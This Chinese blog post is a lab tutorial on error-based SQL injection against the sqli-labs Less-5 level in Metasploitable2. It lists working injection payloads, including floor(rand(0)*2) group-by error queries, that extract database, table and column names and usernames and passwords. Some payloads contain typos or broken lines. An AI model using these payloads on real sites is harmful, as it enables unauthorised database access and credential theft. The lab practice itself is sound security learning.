SQL注入之报错型注入法(基于Metasploitable2-Linux)

  • Post author:
  • Post category:linux


1、使用报错型注入的条件

1):在数据查询时,网页没有查询输出的结果;但当输入错误时,网页上有输入错误的提示(其实就是在信息与数据库进行交互后,输入错误的信息时,网页会显示出来。)

2):其在网页上的具体情况,和解决的办法。

由于在输入正确时,其显示的结果不变。

在这里插入图片描述

故只能尝试在输入错误时,其显示会进行提示这一点进行交互。

在这里插入图片描述

方法:在输入正确时,没有数据的显示,也就是说即使构造语句成功我们也没有办法看到数据的显示。但如果SQL语句输入错误时,则可以显示在页面上,我们可以利用这点来构造报错显示SQL数据的语句。

2、报错型注入的操作步骤

其与联合查询法的操作步骤基本上是一样的,但在语句上会有明显的差距。

步骤:进行闭合方式的猜测、用二分法进行列数的查找、观察显示位、查询数据库的名称、查询表的名称、查找列的名称、查找数据

3、报错型注入基于Metasploitable2-Linux的Less-5关卡进行测试(这个构造数据只能一个一个爆出来,通过limit函数控制)

1):猜测闭合方式

语句:/?id=1’ and 1=1 –+

在这里插入图片描述

在这里插入图片描述

可以得到结果:其Less-2关卡的闭合方式是单引号。

2):用二分法进行列数的查询

语句:/?id=1’ order by () –+

在这里插入图片描述

在这里插入图片描述

可以得到结果,其Less-2关卡的列数有3列。

3):观察显示位

语句:/?id=1’ or 1 group by concat_ws(0x3a,version(),floor(ran(0)*2)) having min(0) or 1 –+

在这里插入图片描述

其利用group by函数和floor函数在配合是出现问题,从而使其输出正确的结果。

注:group by函数:是对数据进行分组,一般与聚合函数一起使用,对分组后的数据进行聚合。

Floor()函数:其功能是‘下取整’,就是取不大于括号里的数的最大整数。

0x3a —-这个是分隔符 VERSION–版本号

concat_ws()函数:将有分隔符的字符串连接起来

在图中,可以得到其结果,表明其有效输出位是CONCAT_WS(VERSION()) 我们就可以替换有效输出位(user(),database()等)

4)查找库名

语句:/?id=1’ or 1 group by concat_ws(0x3a,database(),floor(ran(0)*2)) having min(0) or 1 –+

在这里插入图片描述

故,可以得到Less-5关卡的库名为security

5)查找表的名字

语句:/?id=1’ and (select 1 from (select count(*), concat((select(select concat(cast(group_concat(table_name) as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)

2))x from information_schema.tables group by x)a) –+

在这里插入图片描述

注:此语句是由count(

) 和floor(rand(0)*2)应发的错误,从而爆出正确输出

此语句中,table_name是需要查询的名称(可以更换)、0x7e为~的源码、information_schema.tables是数据库存表名的一张表(可以更换)

在图中,选择一个表名users

6)查询列的名称

语句:/?id=1’ and (select 1 from (select count(*), concat((select(select concat(cast(group_concat(column_name) as char),0x7e)) from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) –+

在这里插入图片描述

如图所示,得到列名(id、username、password)

7)进行数据的查找

语句:/?id=1’ and (select 1 from (select count(*), concat((select(select concat_ws(0x3e,id,username,password)) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) –+

在这里插入图片描述

可以,用limit函数进行控制,来查询其他的数据。



版权声明:本文为qq_43578780原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。